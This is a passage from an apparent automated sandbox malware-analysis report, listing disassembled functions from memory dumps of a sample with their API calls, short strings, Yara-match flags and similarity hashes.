Instruction Fuzzy Hash: 78215A30B00645CBE720DF28EC45BA837A1FB45308FD44279D9145B362EBB93685CBD9

Function 04B41597 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 04B493D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B493E2
Part of subcall function 04B493D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B4941F

__Init_thread_footer.LIBCMT ref: 04B41622

Part of subcall function 04B4938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B49397
Part of subcall function 04B4938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B493CA

Strings

FEKN, xrefs: 04B415F1
NE]D, xrefs: 04B415B7

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: FEKN$NE]D
API String ID: 4132704954-517842756
Opcode ID: 7d1b909681db53285071ff40672d1c380c008a281c48190cd621e0695607241e
Instruction ID: c6b6ce85a24c3fb136392ac9d6bd6c39d7965e59de907ef64728266f1d67071b
Opcode Fuzzy Hash: 7d1b909681db53285071ff40672d1c380c008a281c48190cd621e0695607241e
Instruction Fuzzy Hash: D3214870B00245CBEB20DF38E849BA977A0EFD5308F9442A9D8141B261EBB57586D7CE

Function 00401330 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00409170: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040917B
Part of subcall function 00409170: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 004091B8

__Init_thread_footer.LIBCMT ref: 004013BB

Part of subcall function 00409126: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 00409130
Part of subcall function 00409126: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409163
Part of subcall function 00409126: RtlWakeAllConditionVariable.NTDLL ref: 004091DA

Strings

NE]D, xrefs: 00401350
FEKN, xrefs: 0040138A

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: FEKN$NE]D
API String ID: 2296764815-517842756
Opcode ID: 37e1153e5d0601956be4df5595081ba34075aac515f72f9cd57d9b237f69f675
Instruction ID: bb411daeb84ba6cc8782813aab56c5dc80a7b29e6052d91cba9c4b608feb04e2
Opcode Fuzzy Hash: 37e1153e5d0601956be4df5595081ba34075aac515f72f9cd57d9b237f69f675
Instruction Fuzzy Hash: 51215C30B00245CBD720CF29E846BA977B0FB95304F94427AD8542B7A3DBB92586C7DD

Function 04CF70C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04CF712E

Strings

CD^O, xrefs: 04CF70E0
_DC[, xrefs: 04CF70D7

Memory Dump Source

Source File: 00000000.00000003.1769038956.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4cf0000_dI3n4LSHB7.jbxd

Similarity

API ID: Init_thread_footer
String ID: CD^O$_DC[
API String ID: 1385522511-3597986494
Opcode ID: f117a8599e5a5b64357cd679555c90fdeb56fb08607ed05f2cce84a05c41c654
Instruction ID: 1731ede49108323c556952bbfab0d93331e320457b3e6952282b60f1bb63ecc1
Opcode Fuzzy Hash: f117a8599e5a5b64357cd679555c90fdeb56fb08607ed05f2cce84a05c41c654
Instruction Fuzzy Hash: 5E014930F002049BD760FF68BC009AC73B6F744304FD84179D61857240EB7879459BD9

Function 04CF6B00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04CF6B6E

Strings

_DC[, xrefs: 04CF6B17
CD^O, xrefs: 04CF6B20

Memory Dump Source

Source File: 00000000.00000003.1769038956.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4cf0000_dI3n4LSHB7.jbxd

Similarity

API ID: Init_thread_footer
String ID: CD^O$_DC[
API String ID: 1385522511-3597986494
Opcode ID: a0a846a2b5bc40eacf458633a07b7fd0d6dae78898cee81696ac0ea38ef941e0
Instruction ID: 747a83191185ad56394dded9cb9ba93b3f1b74eca79b9a3740be4b17d2eb17e9
Opcode Fuzzy Hash: a0a846a2b5bc40eacf458633a07b7fd0d6dae78898cee81696ac0ea38ef941e0
Instruction Fuzzy Hash: A4014970F002089BCB20FFA8AD4066CB3B1E704314F808279D61857250EB387945ABD5

Function 04B47F27 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04B493D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B493E2
Part of subcall function 04B493D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B4941F

__Init_thread_footer.LIBCMT ref: 04B47F95

Part of subcall function 04B4938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B49397
Part of subcall function 04B4938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B493CA

Strings

_DC[, xrefs: 04B47F3E
CD^O, xrefs: 04B47F47

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: f117a8599e5a5b64357cd679555c90fdeb56fb08607ed05f2cce84a05c41c654
Instruction ID: 6d54276575cec01648bb8cdcd8c95df3e6207059145abe7d593a67d09d2ef70c
Opcode Fuzzy Hash: f117a8599e5a5b64357cd679555c90fdeb56fb08607ed05f2cce84a05c41c654
Instruction Fuzzy Hash: F30126B0B002049BC720EF79BD0099973B4EBC4304F9401B9D12857250DB74B4419BD9

Function 04B47967 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04B493D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B493E2
Part of subcall function 04B493D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B4941F

__Init_thread_footer.LIBCMT ref: 04B479D5

Part of subcall function 04B4938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B49397
Part of subcall function 04B4938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B493CA

Strings

CD^O, xrefs: 04B47987
_DC[, xrefs: 04B4797E

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: a0a846a2b5bc40eacf458633a07b7fd0d6dae78898cee81696ac0ea38ef941e0
Instruction ID: afbe0b1e3a5232ec8fc45a5e0e38780b7958d014a02b47b1471e8b13860023b7
Opcode Fuzzy Hash: a0a846a2b5bc40eacf458633a07b7fd0d6dae78898cee81696ac0ea38ef941e0
Instruction Fuzzy Hash: AA0149B0B00208DBCB20FFB8BD40A5D73B0EB44314F8082EAD11957290DB747441DBC9

Function 00407CC0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409170: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040917B
Part of subcall function 00409170: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 004091B8

__Init_thread_footer.LIBCMT ref: 00407D2E

Part of subcall function 00409126: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 00409130
Part of subcall function 00409126: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409163
Part of subcall function 00409126: RtlWakeAllConditionVariable.NTDLL ref: 004091DA

Strings

_DC[, xrefs: 00407CD7
CD^O, xrefs: 00407CE0

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 53c53f0d35d6ef20f9dfb6d629afc077c30de4eaa3ac919fd52d2abd114ead8e
Instruction ID: 8bf2ad3165393ed28199ca71651b1e02a490a28405ec2f0c6d2e7b73ba48d91c
Opcode Fuzzy Hash: 53c53f0d35d6ef20f9dfb6d629afc077c30de4eaa3ac919fd52d2abd114ead8e
Instruction Fuzzy Hash: 1C012630F002059BC720EF6AAD0196973B4FB59300B84017AE5146B282E77899428BDE

Function 00407700 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409170: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040917B
Part of subcall function 00409170: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 004091B8

__Init_thread_footer.LIBCMT ref: 0040776E

Part of subcall function 00409126: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 00409130
Part of subcall function 00409126: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409163
Part of subcall function 00409126: RtlWakeAllConditionVariable.NTDLL ref: 004091DA

Strings

CD^O, xrefs: 00407720
_DC[, xrefs: 00407717

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 6984f13f36b3e6cee961cec358f898ccc9f9a1464559edccbb98c4c3ae659da9
Instruction ID: 44c7e97e152ec1ca5567fde67ff81d8d8e81e117548a1af78ec12ab7f1e6b2a3
Opcode Fuzzy Hash: 6984f13f36b3e6cee961cec358f898ccc9f9a1464559edccbb98c4c3ae659da9
Instruction Fuzzy Hash: 64012670F002089BC720FF69AD41A5973B0E708350F80827EE5196B292EB786941CBCA

Function 04CF64B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04CF6519

Strings

EDO*, xrefs: 04CF64CD
DCDO, xrefs: 04CF64C6

Memory Dump Source

Source File: 00000000.00000003.1769038956.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4cf0000_dI3n4LSHB7.jbxd

Similarity

API ID: Init_thread_footer
String ID: DCDO$EDO*
API String ID: 1385522511-3480089779
Opcode ID: 8b51cd775da556fe0e8da68bd1a71e78c45c54a650ae96054a820cef77246584
Instruction ID: ca1d45f45f879eefd52c6732b31f4e1b4ccb8f88810e0ba0a058895270f261f9
Opcode Fuzzy Hash: 8b51cd775da556fe0e8da68bd1a71e78c45c54a650ae96054a820cef77246584
Instruction Fuzzy Hash: 2501D6B0B012089FDB60EFA4EC8155CB7B1E705304F904579CB0597350DB387A858B99

Function 04CF65C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04CF6629

Strings

^]E*, xrefs: 04CF65DD
DCDO, xrefs: 04CF65D6

Memory Dump Source

Source File: 00000000.00000003.1769038956.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4cf0000_dI3n4LSHB7.jbxd

Similarity

API ID: Init_thread_footer
String ID: DCDO$^]E*
API String ID: 1385522511-2708296792
Opcode ID: 39631913317fdbbebfa06f582ff08a226458685357f22e00fc86a48f968bd657
Instruction ID: f44df31befee56a4becd036a8d8fa0c0979a67861187bd214ef651ff3220b3c4
Opcode Fuzzy Hash: 39631913317fdbbebfa06f582ff08a226458685357f22e00fc86a48f968bd657
Instruction Fuzzy Hash: 5E018170F00208AFDB60FFA8ED4256CBBB1EB04304F94417ADA1997394DF397A159B99

Function 04B47427 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B493D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B493E2
Part of subcall function 04B493D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B4941F

__Init_thread_footer.LIBCMT ref: 04B47490

Part of subcall function 04B4938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B49397
Part of subcall function 04B4938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B493CA

Strings

DCDO, xrefs: 04B4743D
^]E*, xrefs: 04B47444

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$^]E*
API String ID: 4132704954-2708296792
Opcode ID: 39631913317fdbbebfa06f582ff08a226458685357f22e00fc86a48f968bd657
Instruction ID: 6f4b96e39770c75f6dbf9a5ad1d2e765e7569c03ea8a6f485ed5ebe238ee9a96
Opcode Fuzzy Hash: 39631913317fdbbebfa06f582ff08a226458685357f22e00fc86a48f968bd657
Instruction Fuzzy Hash: 2A01ADB0B00208ABCB20EF68E98256DBBB0EB44314F8401BAC91957390CB35B9109F89

Function 04B47317 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B493D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B493E2
Part of subcall function 04B493D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B4941F

__Init_thread_footer.LIBCMT ref: 04B47380

Part of subcall function 04B4938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B49397
Part of subcall function 04B4938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B493CA

Strings

EDO*, xrefs: 04B47334
DCDO, xrefs: 04B4732D

Memory Dump Source

Source File: 00000000.00000002.2422800869.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_dI3n4LSHB7.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$EDO*
API String ID: 4132704954-3480089779
Opcode ID: 8b51cd775da556fe0e8da68bd1a71e78c45c54a650ae96054a820cef77246584
Instruction ID: f8e536f69ee61ca72cfba216928ad109341b111eb874ba451fd152c23f1c1cb4
Opcode Fuzzy Hash: 8b51cd775da556fe0e8da68bd1a71e78c45c54a650ae96054a820cef77246584
Instruction Fuzzy Hash: 0F01D6F0B013089FDB10DF64E98159DB7B0EB85304F9041F9CA15573A0CB347981DB89

Function 004070B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409170: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040917B
Part of subcall function 00409170: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 004091B8

__Init_thread_footer.LIBCMT ref: 00407119

Part of subcall function 00409126: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 00409130
Part of subcall function 00409126: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409163
Part of subcall function 00409126: RtlWakeAllConditionVariable.NTDLL ref: 004091DA

Strings

EDO*, xrefs: 004070CD
DCDO, xrefs: 004070C6

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$EDO*
API String ID: 2296764815-3480089779
Opcode ID: 057ee43e4521391655df31a4c43a3f0a7f6c0038db3df444a4ed800121ff4de1
Instruction ID: 6e88f7cd3849569d85f07cd18ee47690fbb1a730dcdea08f10a2250dba35ba50
Opcode Fuzzy Hash: 057ee43e4521391655df31a4c43a3f0a7f6c0038db3df444a4ed800121ff4de1
Instruction Fuzzy Hash: 1F0186B0F01208AFC710DF55E98255DB7B0E705304F90457ADA15AB3D1DB386D95CB8D

Function 004071C0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409170: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 0040917B
Part of subcall function 00409170: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 004091B8

__Init_thread_footer.LIBCMT ref: 00407229

Part of subcall function 00409126: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 00409130
Part of subcall function 00409126: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 00409163
Part of subcall function 00409126: RtlWakeAllConditionVariable.NTDLL ref: 004091DA

Strings

DCDO, xrefs: 004071D6
^]E*, xrefs: 004071DD

Memory Dump Source

Source File: 00000000.00000002.2420326936.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2420326936.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_dI3n4LSHB7.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$^]E*
API String ID: 2296764815-2708296792
Opcode ID: da9be0c5e5273d7ee2d012b34ad58f6f2e7d462380927887947c71f03af37cc5
Instruction ID: 8efc7060af64cb8acb1af25de2c4b339d239c6825e953d18f5e204f1a235d67b
Opcode Fuzzy Hash: da9be0c5e5273d7ee2d012b34ad58f6f2e7d462380927887947c71f03af37cc5
Instruction Fuzzy Hash: 8F016D70F002089BC720EF68E94295DB7B0EB08304F9441BEE919A7396DB3969158BCE